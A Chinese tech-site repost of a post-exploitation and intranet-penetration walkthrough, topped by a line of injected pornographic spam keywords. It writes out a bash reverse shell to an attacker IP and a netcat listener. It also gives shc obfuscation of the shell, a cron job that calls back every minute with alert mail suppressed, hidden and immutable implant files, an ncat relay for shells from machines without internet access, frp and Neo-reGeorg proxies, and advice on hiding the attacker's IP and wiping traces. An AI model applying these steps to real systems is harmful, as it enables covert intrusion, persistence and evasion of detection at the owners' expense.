一区二区三区三上|欧美在线视频五区|国产午夜无码在线观看视频|亚洲国产裸体网站|无码成年人影视|亚洲AV亚洲AV|成人开心激情五月|欧美性爱内射视频|超碰人人干人人上|一区二区无码三区亚洲人区久久精品

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

一文解析后滲透及內(nèi)網(wǎng)初體驗

馬哥Linux運維 ? 來源:先知社區(qū) ? 作者:kilomite ? 2022-08-20 14:46 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

繞php的disable_functions 此處建議用AntSword的官方繞過插件全自動繞

d30c369e-1fc4-11ed-ba43-dac502259ad0.png

繞過失敗的可以手動試一下

另外,可以看一下web程序存的數(shù)據(jù)庫的用戶名和密碼,然后看一下數(shù)據(jù)庫能不能利用,比如寫文件或者寫日志,以及各種提權(quán),如果繞過disable_functions失敗,數(shù)據(jù)庫也不能利用的可以看一下目標服務(wù)器上都有什么文件,比如其他站點或者其他可以利用的東西,如果限制了訪問目錄那就只能留著以后再看了

d340c95e-1fc4-11ed-ba43-dac502259ad0.png


隱藏ip

隱藏攻擊ip還是很重要的,不然容易被溯源,可以上cdn或者用云函數(shù)等 但是此處也是有大坑的,能訪問國外服務(wù)器的目標機器就好辦了,直接上就行,但是不能訪問國外服務(wù)器的目標機器,首先用Cloudflare比較卡,其次用國內(nèi)的云服務(wù)商的則需要實名,而且費用也不低,所以實在沒辦法就別隱藏ip了,此處我也沒有隱藏ip

加密bash反彈shell

正常的bash反彈shell: 目標機器反彈shell:


bash -i >& /dev/tcp/攻擊機的ip/攻擊機接收shell的端口 0>&1

攻擊機接收反彈來的shell:

nc -lvvp 攻擊機接收shell的端口

//netcat版本低時l和p參數(shù)不兼容,可以nc -lvv port監(jiān)聽端口

這個repository加密一下bash腳本,加密后會生成一個c源代碼文件和編譯之后的二進制文件,把編譯之后的二進制文件傳到目標機器上執(zhí)行就行了,可以彌補一下目標機器在國內(nèi)時不便于隱藏攻擊ip的缺陷

本地執(zhí)行:

./shc -Uvrf reverse.sh -o reverse

把生成的reveser傳到目標機器上,執(zhí)行:

./reverse

webshell提供的shell環(huán)境限制很多,所以最好先反彈shell,盡量不要正向連接shell,開個端口動靜太大

首先是不能彈shell的情況,比如相關(guān)的bash,nc等命令都被限制了,那先嘗試提權(quán)

能彈shell但是接收不到的時候,可以看一下目標是不是限制出網(wǎng)或者限制出站端口

如果限制出網(wǎng)那就先嘗試提權(quán),如果限制出站端口可以批量試一下常見的端口,在自己的vps上,通過nginx監(jiān)聽多個端口來快速啟動多個端口,然后再在目標機器上上傳個sh腳本,批量curl自己vps的指定端口,最后看一下結(jié)果就可以了,nmap ---top-ports 100或1000可以掃描nmap整理的100或1000個最常用的端口,可以參考一下

測試出網(wǎng)端口的具體步驟:

1.在正常的nginx配置文件中找到listen port,在后面復制一行,把port改成自己想開放的端口,重啟nginx

2.寫一個sh腳本,內(nèi)容就是每行都curl想測試的端口:curl vps:port

3.傳到目標機器上,運行并且重定向到文件里:./shfile > result.txt

4.查看result.txt中的結(jié)果,就可以看到哪些端口能出網(wǎng),nmap ---top-ports 100和nmap ---top-ports 1000可以查看nmap整理的100和1000個最常用的端口,可以參考一下

成功收到shell的時候,依舊是個很難用的shell,可以再升級成完全的shell再用,升級之后和真實shell一樣,非常舒服

# 攻擊機本地執(zhí)行# 首先檢查當前終端和STTY信息$ echo $TERM$ stty -a# 查看輸出的rows和columns,后面配置用



此處的這些操作是重復性的,和具體設(shè)備無關(guān),所以用xshell的可以寫個xshell的腳本或者錄制個xshell的腳本,不過我這邊錄制的時候生成的腳本內(nèi)容總是為空,應(yīng)該是個bug,也沒時間研究寫xshell的腳本了,所以直接用按鍵精靈寫了個



畢竟按鍵精靈只是模仿輸入,不能獲取到結(jié)果,所以每一步都是只輸入,不回車,需要自己回車,而且每一次輸入之后會多監(jiān)聽一次任意按鍵事件,以防想暫停

如果想把這個shell關(guān)了,或者這個shell接收到了內(nèi)網(wǎng)的其他shell,然后想把接收到的其他shell關(guān)了,需要輸入兩次exit退出,然后可能shell的格式是亂的,這時候reset一下就好了

在攻擊機上肯定不可能直接就接收shell,如果本地和攻擊機的shell連接斷了,那么攻擊機和目標機器的shell也就斷了,或者想把攻擊機接收到的shell掛在后臺,也不能直接接收shell,此處我推薦使用screen,類似于windows下的多窗口,接收shell的時候新開一個screen掛在后臺,不用的時候就在后臺掛著,用的時候切過去用就可以了

screen的簡單使用教程:

1.screen -S 這個screen會話的名字創(chuàng)建一個screen

2.在screen的會話中時,快捷鍵ctrl+a,ctrl+d把當前screen放在后臺

3.screen -r screen會話的名字恢復一個screen

4.在screen的會話中exit可以退出screen

5.一些小技巧:

1.`screen -list`查看所有的screen會話

2.`screen -list`會顯示相應(yīng)對話的pid,通過`kill -9 pid`也可以關(guān)閉相應(yīng)的screen會話

3.`screen -d screen會話的名字`可以將一個正在活動的screen放到后臺

4.如果在screen中嵌套了screen,那么快捷鍵ctrl+a,ctrl+a,ctrl+d可以把第二層screen放在第一層的后臺,快捷鍵ctrl+a,ctrl+d是不論嵌套幾層screen都會把最外層的screen放在后臺的

低權(quán)限提權(quán)

首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Database上找一下,同時看看打沒打補丁,如果目標機器不能編譯的話可以在自己的機器上編譯好了傳過去 此處也發(fā)現(xiàn)了幾個提權(quán)工具,不過我試了一下不是很好用,都是靠版本來判斷的,和手動搞一樣

權(quán)限維持

切記要做持久化,不然辛辛苦苦拿的shell可能就要重新拿或者沒了,方法很多,可以google搜一下,與時俱進,用最新的東西,下面是一種我常用的權(quán)限維持的方式:

cron計劃任務(wù)權(quán)限維持比較簡單,當然也比較明顯:

建議用前面說的shc加密,上傳生成的二進制文件,用這個二進制文件彈shell,安全性高一點

上傳之后:

1.先chmod +x 二進制文件給一下權(quán)限

2.然后在名字前面加個.變?yōu)殡[藏文件(ls -a可以查看隱藏文件)

3.再嘗試一下chattr +i 二進制文件(chattr -i 二進制文件可以解除鎖定)防止刪除,有相應(yīng)的權(quán)限才能成功執(zhí)行這條命令

4.最后把這個文件放在安全又隱秘的位置,

配置cron計劃任務(wù)時,如果是root用戶,那就在/etc/crontab里添加,如果不是root用戶,那就用crontab -e添加,注意crontab -e需要交互式shell,理論上來說非root用戶的cron存在/var/spool/crond下(CentOS),可以直接編輯相應(yīng)的文件,但是非root用戶通常沒有權(quán)限直接編輯,所以還是需要獲取交互式shell然后crontab -e添加

root用戶在/etc/crontab里添加的計劃任務(wù),通過crontab -l或crontab -e是看不到的

/etc/crontab里應(yīng)該有默認的配置和默認的例子,crontab -e沒有,不管是怎么寫cron,都建議使用以下配置:

在寫cron之前先執(zhí)行$PATH查看環(huán)境變量并復制,然后再寫cron

首先第一行配置為SHELL=+相應(yīng)的shell位置,第二行配置為PATH=+默認的(如果有的話)加上前面的$PATH,第三行配置為MAILTO="",第三行的意義是計劃任務(wù)的執(zhí)行結(jié)果不給用戶發(fā)郵件,因為計劃任務(wù)反彈shell是不停的反彈,但是攻擊機如果之前接收到的shell還沒關(guān)端口被占用著彈shell就失敗了就會報錯然后發(fā)郵件,發(fā)了郵件的話每次執(zhí)行命令都會提示,很容易就被發(fā)現(xiàn)了

最后配置計劃任務(wù):

root用戶配置為* * * * * root /要執(zhí)行的命令或文件

非root用戶配置為* * * * * /要執(zhí)行的命令或文件

如果要修改執(zhí)行的間隔可以研究一下cron的語法,上面的是每分鐘彈一次shell

內(nèi)網(wǎng)

信息收集

激動人心的時刻來了,打內(nèi)網(wǎng) 因為我拿到的shell都是linux下的,沒有類似windows上的域控等等,所以此處就掃掃端口,此處可以用nmap,也可以用fscan,強烈推薦fscan,用一次就上癮,很好用

搭建代理

有些內(nèi)網(wǎng)ip的端口上跑的比如網(wǎng)站等等在命令行不太好滲透,而且有些內(nèi)網(wǎng)ip是不出網(wǎng)的,只能通過我們打下來的這個邊界服務(wù)器來訪問,所以建個代理還是很有必要的

此處我推薦用frp,然后依舊遵循動靜小點的原則,不在目標機器上開端口,在自己的vps上架設(shè)frp的服務(wù)端,在目標機器上架設(shè)frp的客戶端,然后在客戶端啟用socks5代理插件,這會在服務(wù)端上開一個你指定的端口用來做socks5代理,可以配置用戶名和密碼,還可以遠程連接,同時可以搭配其他軟件做ip的黑白名單,非常好用,本地配置代理Windows建議用Proxifier,Linux建議用proxychains-ng(proxychains4)

另外也可以用Neo-reGeorg,直接上傳個php/jsp等文件就可以建socks5代理,也很好用,對比frp一個優(yōu)點是只傳文件不用執(zhí)行命令就可以建代理,另一個優(yōu)點是不用在目標機器上額外在后臺掛一個程序

內(nèi)網(wǎng)滲透

其實和前面的web滲透一樣,只不過有些應(yīng)用在內(nèi)網(wǎng)比較常見,所以需要去了解一下,搜一下有什么漏洞

fscan本身會檢測漏洞,比如各種未授權(quán)訪問,也會爆破一些端口的服務(wù),比如mysql,ssh或者Tomcat的Manager App的弱口令等

一個C段可以見識不少東西,打了一遍下來竟然天亮了...一天一夜過去了

具體就不細說了,遇見哪個搜哪個,這個C段遇到的web程序基本都是java系的,還有一些python系的

內(nèi)網(wǎng)不出網(wǎng)反彈shell

目標機器如果不出網(wǎng)可以反彈到已經(jīng)打下來的內(nèi)網(wǎng)機器上,也可以再把反彈的端口轉(zhuǎn)發(fā)到vps上,實現(xiàn)通過轉(zhuǎn)發(fā)出網(wǎng)

通過ncat轉(zhuǎn)發(fā)出網(wǎng):

中轉(zhuǎn)的機器執(zhí)行:


ncat -l 中轉(zhuǎn)機器接收內(nèi)網(wǎng)反彈來的shell的端口 -c 'ncat 攻擊機的ip 攻擊機的端口'

這樣攻擊機就可以接收到不出網(wǎng)的設(shè)備彈的shell,唯一的缺點就是中轉(zhuǎn)的機器要占用個端口 中不中轉(zhuǎn)對于不出網(wǎng)的設(shè)備的權(quán)限維持都是一樣的,主要的區(qū)別就是在vps上連不出網(wǎng)的設(shè)備方便點

痕跡清理

主要是命令的歷史記錄和日志文件,不過基本清不干凈,而且有些地方記錄了也清不到,隱藏攻擊ip比較萬能

下面是一個簡單粗暴的清理方式,如無必要不建議使用:





審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • Web
    Web
    +關(guān)注

    關(guān)注

    2

    文章

    1287

    瀏覽量

    71451
  • 服務(wù)器
    +關(guān)注

    關(guān)注

    13

    文章

    9795

    瀏覽量

    88003
  • 數(shù)據(jù)庫
    +關(guān)注

    關(guān)注

    7

    文章

    3927

    瀏覽量

    66259
  • Shell
    +關(guān)注

    關(guān)注

    1

    文章

    372

    瀏覽量

    24221

原文標題:干貨|后滲透及內(nèi)網(wǎng)初體驗的總結(jié)

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關(guān)推薦
    熱點推薦

    這么多內(nèi)網(wǎng)穿透工具怎么選?篇讓你不再糾結(jié)的終極指南!

    穿透工具就是你的救星! 但問題來了—— 市面上這么多工具,Ngrok、FRP、ZeroNews……到底該選哪個? 別急,這篇文章將帶你全面了解各種內(nèi)網(wǎng)穿透方案的優(yōu)缺點,幫你找到最適合自己的那款! 、
    的頭像 發(fā)表于 05-13 16:06 ?384次閱讀
    這么多<b class='flag-5'>內(nèi)網(wǎng)</b>穿透工具怎么選?<b class='flag-5'>一</b>篇讓你不再糾結(jié)的終極指南!

    【峟思】土石壩滲透壓監(jiān)測技術(shù)解析與現(xiàn)代化解決方案

    土石壩作為水利工程的核心構(gòu)筑物,其滲透穩(wěn)定性直接關(guān)系工程安全。滲透壓力、滲流量及水質(zhì)變化是評估壩體安全的關(guān)鍵指標。本文系統(tǒng)解析滲透壓監(jiān)測方法,并介紹智能化監(jiān)測技術(shù)的創(chuàng)新應(yīng)用。
    的頭像 發(fā)表于 05-06 15:58 ?189次閱讀
    【峟思】土石壩<b class='flag-5'>滲透</b>壓監(jiān)測技術(shù)<b class='flag-5'>解析</b>與現(xiàn)代化解決方案

    解析工業(yè)互聯(lián)網(wǎng)

    電子發(fā)燒友網(wǎng)站提供《解析工業(yè)互聯(lián)網(wǎng).pptx》資料免費下載
    發(fā)表于 02-20 16:42 ?1次下載

    Web安全之滲透測試基礎(chǔ)與實踐

    在網(wǎng)絡(luò)安全領(lǐng)域,Web滲透測試是發(fā)現(xiàn)Web應(yīng)用漏洞的重要手段。下面介紹滲透測試的基礎(chǔ)和實踐。 信息收集是滲透測試的第步。使用whois命令查詢域名注冊信息,nslookup命令查詢域
    的頭像 發(fā)表于 01-22 09:33 ?453次閱讀

    什么是滲透作用_金屬封裝又是如何發(fā)生滲透

    ? 滲透作用使得芯片封裝中沒有絕對的氣密性封裝,那么什么是滲透作用?金屬封裝又是如何發(fā)生滲透的呢??? 滲透:氣體從密度大的側(cè)向密度小的
    的頭像 發(fā)表于 11-22 10:27 ?1023次閱讀

    如何設(shè)置內(nèi)網(wǎng)IP的端口映射到公網(wǎng)

    在現(xiàn)代網(wǎng)絡(luò)環(huán)境中,端口映射(Port Mapping)是項非常實用的技術(shù),它允許用戶將內(nèi)網(wǎng)設(shè)備的服務(wù)端口映射到公網(wǎng),使外網(wǎng)用戶可以訪問內(nèi)網(wǎng)中的服務(wù)。這項技術(shù)在遠程辦公、設(shè)備遠程控制、游戲
    的頭像 發(fā)表于 11-14 14:23 ?1979次閱讀

    內(nèi)網(wǎng)穿透詳解:從傳統(tǒng)方式到P2link的優(yōu)勢探討

    隨著互聯(lián)網(wǎng)的發(fā)展,越來越多的應(yīng)用場景需要通過遠程訪問內(nèi)網(wǎng)資源,無論是企業(yè)遠程辦公、家庭私有云服務(wù)器的管理,還是物聯(lián)網(wǎng)設(shè)備的監(jiān)控,都需要解決個關(guān)鍵問題——內(nèi)網(wǎng)穿透。傳統(tǒng)的內(nèi)網(wǎng)穿透方式有
    的頭像 發(fā)表于 11-13 14:19 ?857次閱讀

    ElfBoard技術(shù)貼|如何完成FRP內(nèi)網(wǎng)穿透

    FRP(FastReverseProxy)是款高效能的反向代理工具,專為解決內(nèi)網(wǎng)穿透問題而設(shè)計。它能夠?qū)?b class='flag-5'>內(nèi)網(wǎng)中的服務(wù)安全地暴露至公網(wǎng),讓外部用戶輕松實現(xiàn)遠程訪問。FRP支持TCP、UDP、HTTP
    的頭像 發(fā)表于 11-08 13:30 ?730次閱讀
    ElfBoard技術(shù)貼|如何完成FRP<b class='flag-5'>內(nèi)網(wǎng)</b>穿透

    內(nèi)網(wǎng)通過公網(wǎng)地址訪問內(nèi)網(wǎng)服務(wù)器的設(shè)置方法

    些場景下,內(nèi)部網(wǎng)絡(luò)中的服務(wù)器需要通過公網(wǎng)地址進行訪問,尤其是在沒有固定公網(wǎng)IP或需要在外部訪問時。為了解決這問題,可以使用以下幾種方法實現(xiàn)內(nèi)網(wǎng)穿透,方便地通過公網(wǎng)訪問內(nèi)網(wǎng)服務(wù)器。
    的頭像 發(fā)表于 11-07 15:09 ?1810次閱讀

    常見的內(nèi)網(wǎng)穿透工具對比

    國內(nèi)的內(nèi)網(wǎng)穿透工具有不少選擇,適合不同的使用場景和需求。以下是些比較常見的國內(nèi)內(nèi)網(wǎng)穿透工具:
    的頭像 發(fā)表于 11-06 14:59 ?2702次閱讀

    打破網(wǎng)絡(luò)邊界:P2Link助力實現(xiàn)高效遠程訪問與內(nèi)網(wǎng)穿透

    (網(wǎng)絡(luò)地址轉(zhuǎn)換)之后,使得外網(wǎng)設(shè)備難以直接對這些內(nèi)網(wǎng)設(shè)備進行訪問。此時,內(nèi)網(wǎng)穿透技術(shù)應(yīng)勢而生,而 P2Link 作為種極為高效的內(nèi)網(wǎng)穿透解決方案,成功打破了網(wǎng)絡(luò)邊界,為人們帶來了便捷
    發(fā)表于 10-31 11:54

    如何通過內(nèi)網(wǎng)IP安全訪問云服務(wù)器?

    要通過內(nèi)網(wǎng)IP安全訪問云服務(wù)器,您需要考慮以下幾個步驟: 1、獲取內(nèi)網(wǎng)IP地址:首先,您需要確定云服務(wù)器的內(nèi)網(wǎng)IP地址。這通常可以在云服務(wù)提供商的管理控制臺中找到。 2、配置安全組規(guī)則:為了允許特定
    的頭像 發(fā)表于 09-23 13:36 ?1116次閱讀

    遠程桌面內(nèi)網(wǎng)穿透是什么?有什么作用?

    遠程桌面內(nèi)網(wǎng)穿透指的是通過特定技術(shù)手段,將處于內(nèi)網(wǎng)中的電腦或服務(wù)器,通過外部網(wǎng)絡(luò)(互聯(lián)網(wǎng))進行訪問。內(nèi)網(wǎng)穿透的主要作用是解決在內(nèi)網(wǎng)環(huán)境下,遠程設(shè)備與外部互聯(lián)網(wǎng)之間的連接問題,允許用戶從
    的頭像 發(fā)表于 09-13 08:10 ?945次閱讀
    遠程桌面<b class='flag-5'>內(nèi)網(wǎng)</b>穿透是什么?有什么作用?

    這個組網(wǎng)、內(nèi)網(wǎng)穿透工具遠程連接是真的牛!

    首先,我們來探討個 常見的疑問 :為什么遠程無法直接訪問你電腦或NAS上運行的網(wǎng)站和服務(wù)? 原因在于 ,多數(shù)情況下,這些設(shè)備都被安置在內(nèi)網(wǎng)之中,缺乏個可供外界直接訪問的獨立公網(wǎng)IP地址,為了打破
    的頭像 發(fā)表于 08-19 16:08 ?698次閱讀
    這個組網(wǎng)、<b class='flag-5'>內(nèi)網(wǎng)</b>穿透工具遠程連接是真的牛!

    teamviewer內(nèi)網(wǎng)遠程控制外網(wǎng)

    在企業(yè)內(nèi)網(wǎng)環(huán)境中,安全性、穩(wěn)定性和性能是企業(yè)用戶關(guān)注的重點。然而,許多遠程控制軟件在內(nèi)網(wǎng)應(yīng)用中存在限制,無法滿足企業(yè)的特殊需求。比如知名的遠程控制軟件 TeamViewer,其功能強大,但并未提供
    的頭像 發(fā)表于 08-16 20:46 ?1782次閱讀